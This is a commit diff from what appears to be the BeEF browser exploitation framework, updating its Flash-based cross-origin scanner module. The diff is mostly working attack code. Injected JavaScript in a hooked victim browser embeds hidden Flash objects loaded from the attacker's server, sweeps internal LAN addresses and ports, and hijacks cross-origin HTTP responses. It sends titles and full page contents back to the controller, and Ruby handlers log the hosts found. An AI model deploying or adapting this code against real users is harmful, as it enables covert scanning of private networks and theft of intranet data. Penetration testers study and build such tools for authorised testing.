Use SWFObject library for cross_origin_scanner_flash

This commit is contained in:
Brendan Coles
2016-04-08 16:25:52 +00:00
parent 9a1eccd066
commit fa1e32c046
6 changed files with 97 additions and 80 deletions

View File

@@ -17,8 +17,7 @@
"ipRange":"<<mod_input>>",
"ports":"80,8080",
"threads":"2",
"wait":"2",
"timeout":"10"
"timeout":"5"
}
}
],

View File

@@ -12,8 +12,7 @@
"ipRange":"common",
"ports":"80,8080",
"threads":"2",
"wait":"2",
"timeout":"10"
"timeout":"5"
}
}
],

View File

@@ -11,8 +11,8 @@ beef.execute(function() {
var ports = "<%= @ports %>";
var threads = parseInt("<%= @threads %>", 10);
var timeout = parseInt("<%= @timeout %>", 10)*1000;
var wait = parseInt("<%= @wait %>", 10)*1000;
// check if Flash is installed (not always reliable)
if(!beef.browser.hasFlash()) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support Flash', beef.are.status_error());
return;
@@ -52,7 +52,6 @@ beef.execute(function() {
return;
}
// ipRange will be in the form of 192.168.0.1-192.168.0.254
// the fourth octet will be iterated.
// (only C class IP ranges are supported atm)
ipBounds = ipRange.split('-');
lowerBound = ipBounds[0].split('.')[3];
@@ -63,13 +62,12 @@ beef.execute(function() {
}
}
WorkerQueue = function(frequency) {
// configure workers
WorkerQueue = function(id, frequency) {
var stack = [];
var timer = null;
var frequency = frequency;
var start_scan = (new Date).getTime();
this.process = function() {
var item = stack.shift();
eval(item);
@@ -77,91 +75,101 @@ beef.execute(function() {
clearInterval(timer);
timer = null;
var interval = (new Date).getTime() - start_scan;
beef.debug("[Cross-Origin Scanner (Flash)] Worker queue is complete ["+interval+" ms]");
beef.debug("[Cross-Origin Scanner (Flash)] Worker #"+id+" has finished ["+interval+" ms]");
return;
}
}
this.queue = function(item) {
stack.push(item);
if (timer === null) {
timer = setInterval(this.process, frequency);
}
if (timer === null) timer = setInterval(this.process, frequency);
}
}
var init = function(id, port) {
var newObjectTag;
var attr = {}, param = {};
var url = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/objects/ContentHijacking.swf';
attr = {id: 'cross_origin_flash_<%= @command_id %>_'+id+'_'+port, width: 1, height: 1, 'style': 'visibility: hidden', 'type': 'application/x-shockwave-flash', 'AllowScriptAccess': 'always'};
param = {'AllowScriptAccess': 'always'};
attr.data = url;
newObjectTag = createHTMLObject(attr,param);
beef.debug("[Cross-Origin Scanner (Flash)] Waiting for the new object...");
document.body.appendChild(newObjectTag);
};
// create and embed Flash object
var createHTMLObject = function(attributes, parameters) {
var i, html, div, obj, attr = attributes || {}, param = parameters || {};
html = '<object';
for (i in attr) html += ' ' + i + '="' + attr[i] + '"';
html += '>';
for (i in param) html += '<param name="' + i + '" value="' + param[i] + '" />';
html += '</object>';
// load the SWF object from the BeEF server
// then request the specified URL via Flash
var scanUrl = function(proto, host, port) {
beef.debug('[Cross-Origin Scanner (Flash)] Creating Flash object...');
var placeholder_id = Math.random().toString(36).substring(2,10);
div = document.createElement('div');
div.innerHTML = html;
obj = div.firstChild;
div.removeChild(obj);
return obj;
};
div.setAttribute('id', placeholder_id);
div.setAttribute('style', 'visibility: hidden');
$j('body').append(div);
// fetch a URL with Flash
var get_url = function(proto, host, port, id) {
var objCaller;
var url = 'http://'+host+':'+port+'/';
beef.debug("[Cross-Origin Scanner (Flash)] Fetching URL: " + url);
objCaller = document.getElementById('cross_origin_flash_<%= @command_id %>_'+id+'_'+port);
try {
objCaller.GETURL('function(data) { '+
'var proto = "http";' +
'var host = "'+host+'";' +
'var port = "'+port+'";' +
'var data = unescape(data);' +
'beef.debug("[Cross-Origin Scanner (Flash)] Received data ["+host+":"+port+"]: " + data);' +
'if (!data.match("Hijacked Contents:")) return;' +
'var response = data.replace(/^Hijacked Contents:\\r\\n/);' +
'var title = "";' +
'if (response.match("<title>(.*?)<\\/title>")) {' +
' title = response.match("<title>(.*?)<\\/title>")[1];' +
'}' +
'beef.debug("proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response);' +
'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response);' +
' }', url);
} catch(e) {
beef.debug("[Cross-Origin Scanner (Flash)] Could not create object: " + e.message);
}
setTimeout('document.body.removeChild(document.getElementById("cross_origin_flash_<%= @command_id %>_'+id+'_'+port+'"));', timeout);
swfobject.embedSWF(
beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/objects/ContentHijacking.swf',
placeholder_id,
"1", // Width
"1", // Height
"9", // Flash version required. Hard-coded to 9+ for no real reason. Tested on Flash 12.
false, // Don't prompt user to install Flash
{}, // FlashVars
{'AllowScriptAccess': 'always'},
{id: 'cross_origin_flash_'+placeholder_id, width: 1, height: 1, 'style': 'visibility: hidden', 'type': 'application/x-shockwave-flash', 'AllowScriptAccess': 'always'},
function (e) {
if (e.success) {
// 200 millisecond delay due to Flash executing the callback with a success event
// even though the object is not yet ready to expose its methods to JS
setTimeout(function(){
var url = 'http://'+host+':'+port+'/';
beef.debug("[Cross-Origin Scanner (Flash)] Fetching URL: " + url);
var objCaller = document.getElementById('cross_origin_flash_'+placeholder_id);
try {
objCaller.GETURL('function(data) { '+
'var proto = "http";' +
'var host = "'+host+'";' +
'var port = "'+port+'";' +
'var data = unescape(data);' +
'beef.debug("[Cross-Origin Scanner (Flash)] Received data ["+host+":"+port+"]: " + data);' +
'if (data.match("securityErrorHandler")) {' +
' beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip="+host+"&status=alive");' +
'}' +
'if (!data.match("Hijacked Contents:")) return;' +
'var response = data.replace(/^Hijacked Contents:\\r\\n/);' +
'var title = "";' +
'if (response.match("<title>(.*?)<\\/title>")) {' +
' title = response.match("<title>(.*?)<\\/title>")[1];' +
'}' +
'beef.debug("proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response);' +
'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response);' +
' }', url);
} catch(e) {
beef.debug("[Cross-Origin Scanner (Flash)] Could not create object: " + e.message);
}
}, 200);
} else if (e.error) {
beef.debug('[Cross-Origin Scanner (Flash)] Could not load Flash object');
} else beef.debug('[Cross-Origin Scanner (Flash)] Could not load Flash object. Perhaps Flash is not installed?');
});
// Remove the SWF object from the DOM after <timeout> seconds
// this also kills the outbound connections from the SWF object
setTimeout('try { document.body.removeChild(document.getElementById("cross_origin_flash_'+placeholder_id+'")); } catch(e) {}', timeout);
} catch (e) {
beef.debug("[Cross-Origin Scanner (Flash)] Something went horribly wrong creating the Flash object with swfobject: " + e.message);
}
beef.debug("[Cross-Origin Scanner (Flash)] Waiting for the flash object to load...");
}
// append SWFObject script
$j('body').append('<scr'+'ipt type="text/javascript" src="'+beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/swfobject.js"></scr'+'ipt>');
// create workers
beef.debug("[Cross-Origin Scanner (Flash)] Starting scan ("+(ips.length*ports.length)+" URLs / "+threads+" workers)");
// create worker queue
var workers = new Array();
for (w=0; w < threads; w++) {
workers.push(new WorkerQueue(wait));
}
for (var id = 0; id < threads; id++) workers.push(new WorkerQueue(id, timeout));
// send Flash request to each IP
var proto = 'http';
for (var i=0; i < ips.length; i++) {
// allocate jobs to workers
for (var i = 0; i < ips.length; i++) {
var worker = workers[i % threads];
for (var p=0; p < ports.length; p++) {
for (var p = 0; p < ports.length; p++) {
var host = ips[i];
var port = ports[p];
worker.queue("init("+i+", "+port+"); setTimeout(function() {get_url('"+proto+"', '"+host+"', '"+port+"', "+i+");}, 2000)");
if (port == '443') var proto = 'https'; else var proto = 'http';
worker.queue("scanUrl('"+proto+"', '"+host+"', '"+port+"');");
}
}

View File

@@ -9,7 +9,7 @@ beef:
enable: true
category: "Network"
name: "Cross-Origin Scanner (Flash)"
description: "Scan an IP range for web servers which allow cross-origin requests using Flash. The HTTP response is returned to BeEF.<br/><br/>Note: set the IP address range to 'common' to scan a list of common LAN addresses.<br/><br/>This module uses ContentHijacking.swf from <a href='https://github.com/nccgroup/CrossSiteContentHijacking'>CrossSiteContentHijacking</a> by Soroush Dalili (@irsdl)."
description: "This module scans an IP range to locate web servers with a permissive Flash cross-origin policy. The HTTP response is returned to BeEF.<br/><br/>Note: set the IP address range to 'common' to scan a list of common LAN addresses.<br/><br/>This module uses ContentHijacking.swf from <a href='https://github.com/nccgroup/CrossSiteContentHijacking'>CrossSiteContentHijacking</a> by Soroush Dalili (@irsdl)."
authors: ["bcoles", "@irsdl"]
target:
working: ["C", "FF"]

View File

@@ -7,6 +7,7 @@ class Cross_origin_scanner_flash < BeEF::Core::Command
def pre_send
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/network/cross_origin_scanner_flash/ContentHijacking.swf','/objects/ContentHijacking','swf')
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/network/cross_origin_scanner_flash/swfobject.js', '/swfobject', 'js')
end
def post_execute
@@ -19,8 +20,15 @@ class Cross_origin_scanner_flash < BeEF::Core::Command
session_id = @datastore['beefhook']
# log the network service
if @datastore['results'] =~ /proto=(.+)&ip=(.+)&port=([\d]+)&title/
# log discovered hosts
if @datastore['results'] =~ /^ip=(.+)&status=alive$/
ip = $1
if BeEF::Filters.is_valid_ip?(ip)
print_debug("Hooked browser found host #{ip}")
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => ip)
end
# log discovered network services
elsif @datastore['results'] =~ /^proto=(.+)&ip=(.+)&port=([\d]+)&title/
proto = $1
ip = $2
port = $3
@@ -39,8 +47,7 @@ class Cross_origin_scanner_flash < BeEF::Core::Command
{'name' => 'ipRange', 'ui_label' => 'Scan IP range (C class)', 'value' => '192.168.0.1-192.168.0.254'},
{'name' => 'ports', 'ui_label' => 'Ports', 'value' => '80,8080'},
{'name' => 'threads', 'ui_label' => 'Workers', 'value' => '2'},
{'name' => 'wait', 'ui_label' => 'Wait (s) between each request for each worker', 'value' => '2'},
{'name' => 'timeout', 'ui_label' => 'Timeout for each request (s)', 'value' => '10'}
{'name' => 'timeout', 'ui_label' => 'Timeout for each request (s)', 'value' => '5'}
]
end

File diff suppressed because one or more lines are too long